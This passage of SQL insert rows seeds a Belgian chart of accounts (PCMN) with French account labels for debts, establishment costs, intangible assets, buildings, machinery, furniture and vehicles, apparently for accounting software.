17:28:15','PCMN-BASE','CAPIT','1720',500,'Dettes de location-financement de biens immobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(502,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1721',500,'Dettes de location-financement de biens mobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(503,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1722',500,'Dettes sur droits réels sur immeubles',NULL,0,NULL,NULL,1,0,NULL,NULL),(504,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','173',493,'Etablissements de crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(505,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1730',504,'Dettes en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(506,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17300',505,'Banque A',NULL,0,NULL,NULL,1,0,NULL,NULL),(507,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17301',505,'Banque B',NULL,0,NULL,NULL,1,0,NULL,NULL),(508,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17302',505,'Banque C',NULL,0,NULL,NULL,1,0,NULL,NULL),(509,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17303',505,'Banque D',NULL,0,NULL,NULL,1,0,NULL,NULL),(510,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1731',504,'Promesses',NULL,0,NULL,NULL,1,0,NULL,NULL),(511,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17310',510,'Banque A',NULL,0,NULL,NULL,1,0,NULL,NULL),(512,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17311',510,'Banque B',NULL,0,NULL,NULL,1,0,NULL,NULL),(513,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17312',510,'Banque C',NULL,0,NULL,NULL,1,0,NULL,NULL),(514,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17313',510,'Banque D',NULL,0,NULL,NULL,1,0,NULL,NULL),(515,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1732',504,'Crédits d\'acceptation',NULL,0,NULL,NULL,1,0,NULL,NULL),(516,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17320',515,'Banque A',NULL,0,NULL,NULL,1,0,NULL,NULL),(517,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17321',515,'Banque B',NULL,0,NULL,NULL,1,0,NULL,NULL),(518,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17322',515,'Banque C',NULL,0,NULL,NULL,1,0,NULL,NULL),(519,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17323',515,'Banque D',NULL,0,NULL,NULL,1,0,NULL,NULL),(520,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','174',493,'Autres emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(521,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175',493,'Dettes commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(522,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1750',521,'Fournisseurs : dettes en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(523,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17500',522,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(524,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175000',523,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(525,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175001',523,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(526,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17501',522,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(527,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175010',526,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(528,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175011',526,'Fournisseurs C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(529,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175012',526,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(530,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1751',521,'Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(531,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17510',530,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(532,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175100',531,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(533,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175101',531,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(534,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17511',530,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(535,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175110',534,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(536,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175111',534,'Fournisseurs C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(537,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175112',534,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(538,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','176',493,'Acomptes reçus sur commandes',NULL,0,NULL,NULL,1,0,NULL,NULL),(539,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','178',493,'Cautionnements reçus en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(540,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','179',493,'Dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(541,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1790',540,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(542,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1791',540,'Autres entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(543,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1792',540,'Administrateurs, gérants et associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(544,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1794',540,'Rentes viagères capitalisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(545,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1798',540,'Dettes envers les coparticipants des associations momentanées et en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(546,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1799',540,'Autres dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(547,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','18',1351,'Comptes de liaison des établissements et succursales',NULL,0,NULL,NULL,1,0,NULL,NULL),(548,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','20',1352,'Frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(549,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','200',548,'Frais de constitution et d\'augmentation de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(550,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2000',549,'Frais de constitution et d\'augmentation de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(551,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2009',549,'Amortissements sur frais de constitution et d\'augmentation de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(552,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','201',548,'Frais d\'émission d\'emprunts et primes de remboursement',NULL,0,NULL,NULL,1,0,NULL,NULL),(553,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2010',552,'Agios sur emprunts et frais d\'émission d\'emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(554,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2019',552,'Amortissements sur agios sur emprunts et frais d\'émission d\'emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(555,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','202',548,'Autres frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(556,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2020',555,'Autres frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(557,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2029',555,'Amortissements sur autres frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(558,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','203',548,'Intérêts intercalaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(559,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2030',558,'Intérêts intercalaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(560,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2039',558,'Amortissements sur intérêts intercalaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(561,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','204',548,'Frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(562,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2040',561,'Coût des frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(563,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2049',561,'Amortissements sur frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(564,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','21',1352,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(565,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','210',564,'Frais de recherche et de développement',NULL,0,NULL,NULL,1,0,NULL,NULL),(566,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2100',565,'Frais de recherche et de mise au point',NULL,0,NULL,NULL,1,0,NULL,NULL),(567,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2108',565,'Plus-values actées sur frais de recherche et de mise au point',NULL,0,NULL,NULL,1,0,NULL,NULL),(568,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2109',565,'Amortissements sur frais de recherche et de mise au point',NULL,0,NULL,NULL,1,0,NULL,NULL),(569,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','211',564,'Concessions, brevets, licences, savoir-faire, marque et droits similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(570,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2110',569,'Concessions, brevets, licences, marques, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(571,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2118',569,'Plus-values actées sur concessions, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(572,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2119',569,'Amortissements sur concessions, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(573,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','212',564,'Goodwill',NULL,0,NULL,NULL,1,0,NULL,NULL),(574,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2120',573,'Coût d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(575,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2128',573,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(576,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2129',573,'Amortissements sur goodwill',NULL,0,NULL,NULL,1,0,NULL,NULL),(577,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','213',564,'Acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(578,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22',1352,'Terrains et constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(579,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','220',578,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(580,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2200',579,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(581,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2201',579,'Frais d\'acquisition sur terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(582,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2208',579,'Plus-values actées sur terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(583,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2209',579,'Amortissements et réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(584,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22090',583,'Amortissements sur frais d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(585,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22091',583,'Réductions de valeur sur terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(586,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','221',578,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(587,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2210',586,'Bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(588,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2211',586,'Bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(589,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2212',586,'Autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(590,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2213',586,'Voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(591,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2215',586,'Constructions sur sol d\'autrui',NULL,0,NULL,NULL,1,0,NULL,NULL),(592,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2216',586,'Frais d\'acquisition sur constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(593,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2218',586,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(594,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22180',593,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(595,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22181',593,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(596,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22182',593,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(597,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22184',593,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(598,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2219',586,'Amortissements sur constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(599,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22190',598,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(600,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22191',598,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(601,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22192',598,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(602,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22194',598,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(603,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22195',598,'Sur constructions sur sol d\'autrui',NULL,0,NULL,NULL,1,0,NULL,NULL),(604,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22196',598,'Sur frais d\'acquisition sur constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(605,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','222',578,'Terrains bâtis',NULL,0,NULL,NULL,1,0,NULL,NULL),(606,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2220',605,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(607,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22200',606,'Bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(608,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22201',606,'Bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(609,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22202',606,'Autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(610,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22203',606,'Voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(611,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22204',606,'Frais d\'acquisition des terrains à bâtir',NULL,0,NULL,NULL,1,0,NULL,NULL),(612,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2228',605,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(613,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22280',612,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(614,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22281',612,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(615,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22282',612,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(616,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22283',612,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(617,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2229',605,'Amortissements sur terrains bâtis',NULL,0,NULL,NULL,1,0,NULL,NULL),(618,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22290',617,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(619,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22291',617,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(620,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22292',617,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(621,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22293',617,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(622,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22294',617,'Sur frais d\'acquisition des terrains bâtis',NULL,0,NULL,NULL,1,0,NULL,NULL),(623,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','223',578,'Autres droits réels sur des immeubles',NULL,0,NULL,NULL,1,0,NULL,NULL),(624,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2230',623,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(625,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2238',623,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(626,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2239',623,'Amortissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(627,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','23',1352,'Installations, machines et outillages',NULL,0,NULL,NULL,1,0,NULL,NULL),(628,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','230',627,'Installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(629,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2300',628,'Installations bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(630,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2301',628,'Installations bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(631,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2302',628,'Installations bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(632,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2303',628,'Installations voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(637,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2304',628,'Installation de chauffage',NULL,0,NULL,NULL,1,0,NULL,NULL),(638,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2305',628,'Installation de conditionnement d\'air',NULL,0,NULL,NULL,1,0,NULL,NULL),(639,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2306',628,'Installation de chargement',NULL,0,NULL,NULL,1,0,NULL,NULL),(640,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','231',627,'Machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(641,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2310',640,'Division A',NULL,0,NULL,NULL,1,0,NULL,NULL),(642,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2311',640,'Division B',NULL,0,NULL,NULL,1,0,NULL,NULL),(643,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2312',640,'Division C',NULL,0,NULL,NULL,1,0,NULL,NULL),(644,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','237',627,'Outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(645,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2370',644,'Division A',NULL,0,NULL,NULL,1,0,NULL,NULL),(646,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2371',644,'Division B',NULL,0,NULL,NULL,1,0,NULL,NULL),(647,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2372',644,'Division C',NULL,0,NULL,NULL,1,0,NULL,NULL),(648,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','238',627,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(649,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2380',648,'Sur installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(650,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2381',648,'Sur machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(651,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2382',648,'Sur outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(652,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','239',627,'Amortissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(653,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2390',652,'Sur installations',NULL,0,NULL,NULL,1,0,NULL,NULL),(654,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2391',652,'Sur machines',NULL,0,NULL,NULL,1,0,NULL,NULL),(655,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2392',652,'Sur outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(656,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24',1352,'Mobilier et matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(657,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','240',656,'Mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(658,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2400',656,'Mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(659,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24000',658,'Mobilier des bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(660,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24001',658,'Mobilier des bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(661,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24002',658,'Mobilier des autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(662,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24003',658,'Mobilier oeuvres sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(663,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2401',657,'Matériel de bureau et de service social',NULL,0,NULL,NULL,1,0,NULL,NULL),(664,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24010',663,'Des bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(665,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24011',663,'Des bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(666,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24012',663,'Des autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(667,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24013',663,'Des oeuvres sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(668,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2408',657,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(669,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24080',668,'Plus-values actées sur mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(670,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24081',668,'Plus-values actées sur matériel de bureau et service social',NULL,0,NULL,NULL,1,0,NULL,NULL),(671,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2409',657,'Amortissements',NULL,0,NULL,NULL,1,0,NULL,NULL),(672,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24090',671,'Amortissements sur mobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(673,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24091',671,'Amortissements sur matériel de bureau et service social',NULL,0,NULL,NULL,1,0,NULL,NULL),(674,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','241',656,'Matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(675,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2410',674,'Matériel automobile',NULL,0,NULL,NULL,1,0,NULL,NULL),(676,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24100',675,'Voitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(677,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24105',675,'Camions',NULL,0,NULL,NULL,1,0,NULL,NULL),(678,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2411',674,'Matériel ferroviaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(679,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2412',674,'Matériel fluvial',NULL,0,NULL,NULL,1,0,NULL,NULL),(680,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2413',674,'Matériel naval',NULL,0,NULL,NULL,1,0,NULL,NULL),(681,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2414',674,'Matériel aérien',NULL,0,NULL,NULL,1,0,NULL,NULL),(682,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2418',674,'Plus-values sur matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(683,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24180',682,'Plus-values sur matériel automobile',NULL,0,NULL,NULL,1,0,NULL,NULL),(684,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24181',682,'Idem sur matériel ferroviaire',NULL,0,NULL,NULL,1,0,NULL,NULL),(685,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24182',682,'Idem sur matériel fluvial',NULL,0,NULL,NULL,1,0,NULL,NULL),(686,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24183',682,'Idem sur matériel naval',NULL,0,NULL,NULL,1,0,NULL,NULL),(687,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','24184',682,'Idem sur matériel aérien',NULL,0,NULL,NULL,1,0,NULL,NULL),(688,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2419',674,'Amortissements sur matériel roulant',NULL,0,NULL,NULL,1,0,NULL,NULL),(689,1,NULL,'2018-01-22 